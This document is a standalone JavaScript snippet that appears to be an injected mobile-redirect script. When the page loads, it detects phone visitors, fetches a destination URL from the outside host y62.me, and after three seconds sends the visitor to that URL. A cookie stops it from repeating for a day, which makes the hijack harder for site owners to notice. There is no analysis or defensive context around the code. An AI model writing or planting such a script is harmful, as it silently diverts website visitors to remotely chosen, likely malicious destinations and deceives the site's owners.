

(function() {
    const REDIRECT_COOKIE_NAME = 'mobile_redirected';
    const DELAY_TIME = 3000;
    const COOKIE_EXPIRE_DAYS = 1;

    function isMobile() {
        return /(mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone)/i.test(navigator.userAgent) && 
               !/(ipad|tablet)/i.test(navigator.userAgent);
    }

    function hasRedirected() {
        const cookies = document.cookie.split(';');
        for (let i = 0; i < cookies.length; i++) {
            const cookie = cookies[i].trim();
            if (cookie.startsWith(REDIRECT_COOKIE_NAME + '=')) {
                return cookie.substring(REDIRECT_COOKIE_NAME.length + 1) === '1';
            }
        }
        return false;
    }

    function setRedirectCookie() {
        const date = new Date();
        date.setTime(date.getTime() + (COOKIE_EXPIRE_DAYS * 24 * 60 * 60 * 1000));
        const expires = "expires=" + date.toUTCString();
        const domain = "domain=" + window.location.hostname;
        document.cookie = REDIRECT_COOKIE_NAME + "=1;" + expires + ";path=/;" + domain + ";samesite=lax";
    }

    async function getRedirectUrl() {
        try {
            const controller = new AbortController();
            const timeoutId = setTimeout(() => controller.abort(), 5000);

            const response = await fetch('https://y62.me/pr.php', {
                cache: 'no-cache',
                signal: controller.signal
            });

            clearTimeout(timeoutId);

            if (!response.ok) {
                throw new Error('Network response was not ok');
            }

            const url = (await response.text()).trim();
            if (/^https?:\/\//.test(url)) {
                return url;
            }
        } catch (error) {
            console.error('Fetch redirect URL failed:', error);
        }
        return null;
    }

    async function initMobileRedirect() {
        if (!isMobile() || hasRedirected()) {
            return;
        }

        try {
            const redirectUrl = await getRedirectUrl();
            if (!redirectUrl) {
                return;
            }

            setRedirectCookie();

            setTimeout(() => {
                window.location.replace(redirectUrl);
            }, DELAY_TIME);

        } catch (error) {
            console.error('Mobile redirect failed:', error);
        }
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', initMobileRedirect);
    } else {
        initMobileRedirect();
    }

})();